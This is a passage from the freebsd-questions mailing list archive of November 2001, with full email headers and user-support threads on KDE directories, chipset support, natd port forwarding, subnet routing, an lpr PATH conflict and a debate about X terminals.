space seems to > be being hogged by the /root/.kde directory (& its > subdirectories). Are these supposed to be in here??? Yes, if you are running kde and its appliations as root (some people would say you should not). User profiles, desktop configurations and all your files will be stored in the users - here: root's - home directory by default. Root is a privileged user, so he is placed in / . All others will be put into /usr/homes/ . Of course you can copy .kde's content to some other place on your harddisk and link it to .kde . Regards, Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:33:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bltclan.com (ns1.bltclan.com [66.127.229.59]) by hub.freebsd.org (Postfix) with SMTP id 231CB37B418 for ; Tue, 20 Nov 2001 21:33:33 -0800 (PST) Received: (qmail 32118 invoked from network); 21 Nov 2001 05:39:57 -0000 Received: from shaklee3.bltclan.com (HELO cliff) (66.127.229.58) by ns1.bltclan.com with SMTP; 21 Nov 2001 05:39:57 -0000 Message-ID: <000e01c17250$3afb1c50$3ae57f42@cliff> From: To: "FreeBSD" Subject: X Windows Book? Date: Tue, 20 Nov 2001 21:49:05 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C1720D.2CD34870" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C1720D.2CD34870 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I am looking for a book on the X windowing system and preferably = XFree86. I just want to get more familiar with it and the window = managers that can be used with it. Anyone have a suggestion? ------=_NextPart_000_000B_01C1720D.2CD34870 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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------=_NextPart_000_000B_01C1720D.2CD34870-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:39: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id A0FF737B418 for ; Tue, 20 Nov 2001 21:38:58 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAL5cvR23014 for ; Tue, 20 Nov 2001 21:38:58 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Subject: FW: Bugfixes, Support, etc. (was: RE: home pc use) Date: Tue, 20 Nov 2001 21:38:57 -0800 Message-ID: <002501c1724e$d0b939e0$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG] On Behalf Of Andrew C. >Hornback >Sent: Tuesday, November 20, 2001 12:51 PM >To: Toomas Aas; questions@FreeBSD.ORG >Subject: Bugfixes, Support, etc. (was: RE: home pc use) > > When a user finds a piece of hardware that does not work >properly under >FreeBSD, they have to make one of three choices. 1) Either live with the >problems, 2) Research the problem, see if a fix has been created, and apply >the fix or 3) Find another OS that supports your hardware better. If I'm >wrong, would someone please correct me. > option 4 is to scrap the hardware and replace it with known good hardware. Computers are component systems. There's no excuse for bitching about something like a NIC when replacing it is so cheap. Even a motherboard beef is a bit suspicious, Fry's loves to discount 'em. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:41:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id B2C1E37B405 for ; Tue, 20 Nov 2001 21:41:23 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id VAA32070; Tue, 20 Nov 2001 21:41:20 -0800 Message-ID: <3BFB3E7E.6040100@owt.com> Date: Tue, 20 Nov 2001 21:41:18 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Herbert Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Elitegroup K7S5A - SIS 735 chipset References: <20011121062823.A22684@TK212017121218.teleweb.at> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Herbert wrote: > Hei! > > I don't care about the onboard nic and the onboard sound! Any changes to > see this ide controller running in UDMA100 mode in the near future? > Of course I don't want to buy the promise controller! :) SoS has the documents. It is a "round_to_it" problem. It depends on how many of us end up with SiS-735/745 chipset systems and him probably finding the time. Kent > > Regards, > Herbert > > * Kent Stewart (kstewart@owt.com) [011120 21:14]: > >>Herbert wrote: >> >> >>>Hei! >>> >>>Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD >>>4.4-STABLE? What about the onboard ide controller? Can I run my hard >>>disks in udma66 or udma100 mode? >>> >> >>No, only UDMA33. The networking isn't supported. I have a Amptron >>830XLM, which is based on the same SiS-735 chipeset, and I also don't >>have onboard sound at this point. >> > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > . > > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:44:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 5DF3337B419 for ; Tue, 20 Nov 2001 21:44:07 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id HAA98462; Wed, 21 Nov 2001 07:43:30 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: , Subject: RE: An ipfw/nat port forwarding issue Date: Wed, 21 Nov 2001 07:48:25 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <000a01c1722f$060cb510$f801a8c0@fmepro.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: Kendall Gifford > Sent: 21 November 2001 03:51 > LAN requests for the external interface come in via the > internal interface, pass through ipfw without any natd > intervention, and are then foobar try's to service the > www port 80 request (because it didn't get forwarded as > natd runs on the external interface). Since foobar isn't > serving up a www dinner, the client must starve. > Am I close? Any suggestions? > Kendall - I think your summary above is spot-on! natd does run on a psecific interface (specified by the -n or -a argument to natd), and since the offending packets are entering 'foobar' via a different interface, natd does not have an opportunity to do its work. > The problem is when LAN clients try to access our web > server via foobar. Now, normally they are not supposed > to as the LAN's primary DNS server (not foobar) returns > the local address for the www server. But, sometimes > the clients, I assume due to very short time-outs, > insist on reverting to secondary DNS (foobar) which > gives them foobar's public IP. I think you need to address this problem on your primary DNS. Make sure it responds and services your internal clients reliably. Is the internal DNS server also FreeBSD? Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:47: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id B569F37B41C for ; Tue, 20 Nov 2001 21:47:00 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAL5jcR23047; Tue, 20 Nov 2001 21:45:38 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Anthony Atkielski" , "Jan Grant" Cc: "setantae" , "questions" Subject: RE: home pc use Date: Tue, 20 Nov 2001 21:45:38 -0800 Message-ID: <002c01c1724f$bf93c580$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <008501c171f9$233de9a0$0a00000a@atkielski.com> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Anthony >Atkielski > >I'm not without experience in IT, and I know that hardware nowadays virtually >never breaks. People who immediately suspect hardware are usually trying to >protect their feelings of affection for some piece of software, somewhere. Absolute rubbish. There's still plenty of incompatible and conflicting hardware. Lots of cards work perfectly well in one system but badly in another, under Windows or any other OS. Suspecting hardware in a fault is perfectly legitimate. However it can't stop there, you have to substitute with different hardware and see if the problem follows the hardware or follows the software. The problem is that the people that suspect hardware and aren't willing to swap it out are protecting their feelings of affection for some piece of hardware, somewhere. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:47:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46]) by hub.freebsd.org (Postfix) with ESMTP id D028537B417 for ; Tue, 20 Nov 2001 21:47:12 -0800 (PST) Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4]) by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fAL5htJ79249; Wed, 21 Nov 2001 00:43:55 -0500 (EST) (envelope-from marcus@marcuscom.com) Subject: RE: Complex routing for a firewall From: Joe Clarke To: "Patrick O'Reilly" Cc: Zak Johnson , FreeBSD Question List In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.99.2 (Preview Release) Date: 21 Nov 2001 10:46:34 +0500 Message-Id: <1006321600.25264.1.camel@shumai.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 2001-11-21 at 00:32, Patrick O'Reilly wrote: > > From: Zak Johnson [mailto:zakj@fenris.cc] > > Sent: 20 November 2001 19:28 > > > > Thank you. According to my ISP, this is standard procedure for him; he > > claims Linux can handle this sort of setup just fine, although he hasn't > > shown me a working example. At any rate, I'll have to convince him to > > hand me out another IP in the gateway's netblock. > > > > I dunno what he's smoking, but it must be good stuff! :) > > Each link in an IP environment MUST be a network in its own right, even if > it is just a tiny subnet for a PPP link. The layout I described has two > distinct networks, one for the PPP link and one for the DMZ/Public LAN. To > use an address from one network on a NIC attached to the other network just > does not make sense. Whether the OS is Linux (or FreeBSD, or anything else) > has nothing to do with the issue! This isn't necessarily true. There is such a thing as unnumbered interfaces. Unnumbered interfaces are used in this kind of situation where the WAN is basically a point-to-point link. Basically, the WAN interface uses the LAN IP. However, In Zak's setup, the IP addresses from the provider overlap. Unless the provider gives you an address outside of rl1's subnet, this will never work. Joe > > Anyway, I suspect I am preaching to the converted. What surprises me is > that an ISP (whose one and only order of business is IP networking) is > apparently confused about how it should work! > > Here's a thought - I have previously had problems when dealing with a sales > person, or Customer Relationship Manager, or similar. These folks are NOT > technically minded, even though they might work for an ISP. He could easily > be omitting some vital information without even knowing it. Try to get hold > of the technical guy who is configuring the Router which is your gateway > (x.x.164.1). He will know which IP blocks have been allocated and routed to > you. And he should be able to confirm whether my guesswork before is > actually correct or not. > > I hope you get this sorted out. > > Regards, > Patrick. > > PS: > I notice that I forgot to copy my previous reply to the List, so I'm > including it here in case anyone else is in need of the same type of > information: > -------------------------------------------- > Zak, > > as Crist already suggested, your topology as described cannot work. I think > the problem is that you and your ISP are not quite on the same wavelength. > > Looking at the info in your message, here is what I would _GUESS_ your > topology should be. You should verify this with your ISP. > > ISP Gateway > x.x.164.1 /30 > | > | > rl0 = x.x.164.2 /30 > Your Firewall /Gateway > rl1 = x.x.165.233/29 > | > | > Other Servers > x.x.165.234/29 > x.x.165.235/29 > x.x.165.236/29 > x.x.165.237/29 > x.x.165.238/29 > > If this is correct, then all you need to do on your gateway is: > ------------------------ > defaultrouter=x.x.164.1 > ------------------------ > in /etc/rc.conf > > HTH, > Patrick. > ----------------------------------------------- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:49:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id E82F837B405 for ; Tue, 20 Nov 2001 21:49:05 -0800 (PST) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id fAL5ms727328; Wed, 21 Nov 2001 00:48:54 -0500 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <20011121014427.A15466@sdf.freeshell.org> References: <20011120211245.A17671@sdf.freeshell.org> <20011120161504.R53181-100000@malkav.snowmoon.com> <20011121003157.G87336@mars.thuis> <20011121014427.A15466@sdf.freeshell.org> Date: Wed, 21 Nov 2001 00:48:51 -0500 To: what ever From: Garance A Drosihn Subject: Re: lpd: only root can print Cc: freebsd-questions@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 1:44 AM +0000 11/21/01, what ever wrote: >Hi, > >I gave this a try, but still no luck. > >I'm thinking it must be something with master.passwd, passwd, or pwd.db? I've been watching your questions go by, but offhand I can't think of anything which would cause that behavior. I can imagine it working for root and not working for *everyone* else, but I can't figure why a new userid would work and an old one wouldn't. Earlier you had done a: > ls -lF /var/spool/lpd > drwx------ 2 daemon daemon 512 Dec 7 2000 lp/ > . I chmod'd this to 770, and still have the problem. What do you get from: ls -lFd /var/spool /var/spool/lpd ls -lF /var/spool/lpd/lp Try running /usr/sbin/chkprintcap, and see if it tells you anything interesting. Check all your environment settings. In bash, that would be done by just typing: set | more and watching what goes by. I'm not sure what you'd need to look for, but maybe something would pop up. I think the only variable which *should* make any difference is the value of PRINTER. Actually, another thing to check is your PATH setting. See which lpr you are getting, and if there are more than one. In bash, the command of interest might be 'type -a lpr'. Try it as yourself, and as one of the userid's where lpr is working. Once you find whichever lpr you're using, do an 'ls -l' on that, to see who owns it and how it is permitted. Can your userid do an 'lpq'? It hangs if you do an 'lpr file'. What if you do an 'lpr -Plp file'? (or whatever your specific printer queue is named). What happens if you do an 'lpr -Pbogus file' (specifying a print queue that does NOT exist). That's about all the ideas I have. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:53:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 0529537B417 for ; Tue, 20 Nov 2001 21:53:32 -0800 (PST) Received: (qmail 86732 invoked by uid 100); 21 Nov 2001 05:53:41 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15355.16741.576076.247915@guru.mired.org> Date: Tue, 20 Nov 2001 23:53:41 -0600 To: "Ted Mittelstaedt" Cc: Subject: RE: home pc use In-Reply-To: <000701c1724d$5f4525e0$1401a8c0@tedm.placo.com> References: <15355.2770.644343.846234@guru.mired.org> <000701c1724d$5f4525e0$1401a8c0@tedm.placo.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ted Mittelstaedt types: > >> So are X Terminals still in common use? If not, why not? They > >sound like an > >> excellent solution to a recurring problem with Windows (namely, > >the fact that > >> users tend to screw up machines that they can fiddle with themselves). > >No, they've died. [Begin rant] They died because users want to "own" > >their things. They don't want to have to trust their data to some > >central server controlled by the IT staff, though they expect the IT > >staff to back up their machines. [end rant] > Mike, that's a gross simplification if I ever heard of one. :-) Conceded, there are lots of reasons. That *is* one of them, though. A manager who needed a desktop box for someone would have to get IT to deal with the X station, but could just sign the PO for a PC. > X terminals died for the following reasons: Some of which I agree with. > 3) The X protocol only works decently over an Ethernet LAN it sucks horribly > over slow links. Think large corporations with many far-flung WAN links that > might be 56k links because they are cheap. That depends on what you're doing with it. If you're trying to run a web browser over it, yeah, it sucks - especially if the web server is on *your* end of the 56K link :-). For running xterms and xemacs, it's just fine. I've done enough of it in my time to know. > 4) Most of the mundane X clients were rewritten to be HTML-spewing > applications. Yup. Even mundane non-X clients were so rewritten, and I did my share of it. After all, why fool with trying to maintain UI code on umpteen platforms when I can write CGI code and have it available on all of them? Since a simple web server is no more painfull than simple telnet servers, it didn't surprise me at all when network boxes that you used to telnet to to maintain started sprouting web interfaces. > 5) Ever seen a X Terminal laptop? I thought Tadpole sold one. > >> > Telling managers "I'm waiting for an answer > >> > from vendor tech support" is a *very* common > >> > occurence with them. > >> Yes, and it works well. But it only works if there _is_ a vendor > >tech support. > Pull crap like that a few too many times and your going to end up with > no job. Yes, you can stave off the immediate demands with excuses. > Another common excuse that works with FreeBSD is "I left voicemail with > the consultant and he hasn't gotten back yet" Please note that the text Ted is replying to is *not* mine. And I agree with him - if vendor support doesn't do the job, you better find some have other resources available if you want to keep your job. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 22: 2:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id EB79937B405 for ; Tue, 20 Nov 2001 22:02:43 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAL62VR23107; Tue, 20 Nov 2001 22:02:32 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Mike Meyer" Cc: Subject: RE: home pc use Date: Tue, 20 Nov 2001 22:02:31 -0800 Message-ID: <004b01c17252$1b8880e0$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <15355.16741.576076.247915@guru.mired.org> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: Mike Meyer [mailto:mwm@mired.org] >Sent: Tuesday, November 20, 2001 9:54 PM >To: Ted Mittelstaedt >Cc: questions@FreeBSD.ORG >Subject: RE: home pc use > > > >> 3) The X protocol only works decently over an Ethernet LAN it >sucks horribly >> over slow links. Think large corporations with many far-flung WAN >links that >> might be 56k links because they are cheap. > >That depends on what you're doing with it. If you're trying to run a >web browser over it, yeah, it sucks - especially if the web server is >on *your* end of the 56K link :-). For running xterms and xemacs, it's >just fine. I've done enough of it in my time to know. > True, once the windows and wigits are built then even a slow link is OK for that kind of thing. And also in the latest X I understand they put in network speedup code, although you have to be running current X on both the server and client. But unfortunately too many users get the impression an application is "slow" just because it may take a couple minutes to draw the screen, even though after the screen is drawn the app runs fine. > >> Pull crap like that a few too many times and your going to end up with >> no job. Yes, you can stave off the immediate demands with excuses. >> Another common excuse that works with FreeBSD is "I left voicemail with >> the consultant and he hasn't gotten back yet" > >Please note that the text Ted is replying to is *not* mine. Sorry Mike, I did know that - I should have made it a bit more clear. It always gets my dander up to read all the FUD regarding support, it's the most overrated thing in the software business there is. But I wouldn't worry too much as by now I think most people are deleting the messages in this thread unread. ;-) Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 22: 4:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdf.lonestar.org (sdf.lonestar.org [209.221.165.117]) by hub.freebsd.org (Postfix) with ESMTP id 9915837B419 for ; Tue, 20 Nov 2001 22:04:28 -0800 (PST) Received: (from thursday@localhost) by sdf.lonestar.org (8.11.6/8.11.6) id fAL64Pf24303; Wed, 21 Nov 2001 06:04:25 GMT Date: Wed, 21 Nov 2001 06:04:25 +0000 From: what ever To: Garance A Drosihn Cc: freebsd-questions@freebsd.org Subject: Re: lpd: only root can print Message-ID: <20011121060425.A15686@sdf.freeshell.org> References: <20011120211245.A17671@sdf.freeshell.org> <20011120161504.R53181-100000@malkav.snowmoon.com> <20011121003157.G87336@mars.thuis> <20011121014427.A15466@sdf.freeshell.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from drosih@rpi.edu on Wed, Nov 21, 2001 at 12:48:51AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thank you for your thoughtful advise. It turns out that my problem was with my $PATH, which was set in my .bashrc. I found that when removing my .bashrc & reloging in, printing would work fine. Further investigation revealed that /usr/local/bin appeared in my path BEFORE /usr/bin. My recent install of kde-2.2 (If anyone can tell me how to run this without fam, please mail me) installed cups-1.1.10.1, which installed an lpr executable in /usr/local/bin, which I of course was hitting since /usr/local/bin appeared in my path before /usr/bin. I am an idiot. After a moment of panic thinkinking that my machine had been cracked, I realized the kde connection. In other news, I am *still* trying to get sound working. I've managed to get the os to recognize the card, but catting a file to /dev/dsp0 always reports device busy after about 1/2 a second of sound...and kde's sound server always reports the device as busy... On Wed, Nov 21, 2001 at 12:48:51AM -0500, Garance A Drosihn wrote: > At 1:44 AM +0000 11/21/01, what ever wrote: > >Hi, > > > >I gave this a try, but still no luck. > > > >I'm thinking it must be something with master.passwd, passwd, or pwd.db? > > I've been watching your questions go by, but offhand I can't think of > anything which would cause that behavior. I can imagine it working > for root and not working for *everyone* else, but I can't figure why > a new userid would work and an old one wouldn't. > > Earlier you had done a: > > ls -lF /var/spool/lpd > > drwx------ 2 daemon daemon 512 Dec 7 2000 lp/ > > > . I chmod'd this to 770, and still have the problem. > > What do you get from: > ls -lFd /var/spool /var/spool/lpd > ls -lF /var/spool/lpd/lp > > Try running /usr/sbin/chkprintcap, and see if it tells you anything > interesting. > > Check all your environment settings. In bash, that would be done by > just typing: set | more > and watching what goes by. I'm not sure what you'd need to look for, > but maybe something would pop up. I think the only variable which > *should* make any difference is the value of PRINTER. > > Actually, another thing to check is your PATH setting. See which > lpr you are getting, and if there are more than one. In bash, the > command of interest might be 'type -a lpr'. Try it as yourself, > and as one of the userid's where lpr is working. Once you find > whichever lpr you're using, do an 'ls -l' on that, to see who owns > it and how it is permitted. > > Can your userid do an 'lpq'? > It hangs if you do an 'lpr file'. What if you do an 'lpr -Plp file'? > (or whatever your specific printer queue is named). What happens if > you do an 'lpr -Pbogus file' (specifying a print queue that does NOT > exist). > > That's about all the ideas I have. > > -- > Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu > Senior Systems Programmer or gad@freebsd.org > Rensselaer Polytechnic Institute or drosih@rpi.edu -- thursday@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 22:17:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id B231637B405 for ; Tue, 20 Nov 2001 22:17:08 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id IAA98993; Wed, 21 Nov 2001 08:16:33 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Marc" Cc: Subject: RE: File-attach Date: Wed, 21 Nov 2001 08:21:28 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20011121035735.GA51854@dan.emsphone.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Dan Nelson > Sent: 21 November 2001 05:58 > To: Marc > Cc: freebsd-questions@FreeBSD.ORG > Subject: Re: File-attach > > > In the last episode (Nov 20), Marc said: > > How do I send an output file as an file-attachment via email using > > something similar to the following line: > > > > perl procedure.pl | mail john.doe@domain.com > > Please don't piggy-back questions onto other threads. > > You can use the mutt mailer to attach arbitrary files to messages: > > echo "see attached" | mutt -a /boot/kernel/kernel user@host.com > > Or if you are using perl, see the p5-MIME-Lite or p5-MIME-Lite ports. > which generate and send MIME multipart messages. > If you are wanting to stick to stuf that will run in a shell (ie, NOT perl): 1) have a look at 'mpack' in the ports: caesar carrot:/usr/ports# make search key=mpack Port: mpack-1.5 Path: /usr/ports/converters/mpack Info: External MIME packer/unpacker Maint: ache@FreeBSD.org Index: converters mail news B-deps: R-deps: mpack can be used in scripts. It has one caveat (if I remember correctly), you MUST have an attachment for the email. 2) I wrote a script once-upon-a-time which allows you to send an email with content and/or attachment. It was basically a wrapper for sendmail with uuencode to do the attachemnts. If you need it let me know and I'll dig it up. Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 22:22: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id E923437B416 for ; Tue, 20 Nov 2001 22:22:04 -0800 (PST) Received: (qmail 87338 invoked by uid 100); 21 Nov 2001 06:22:20 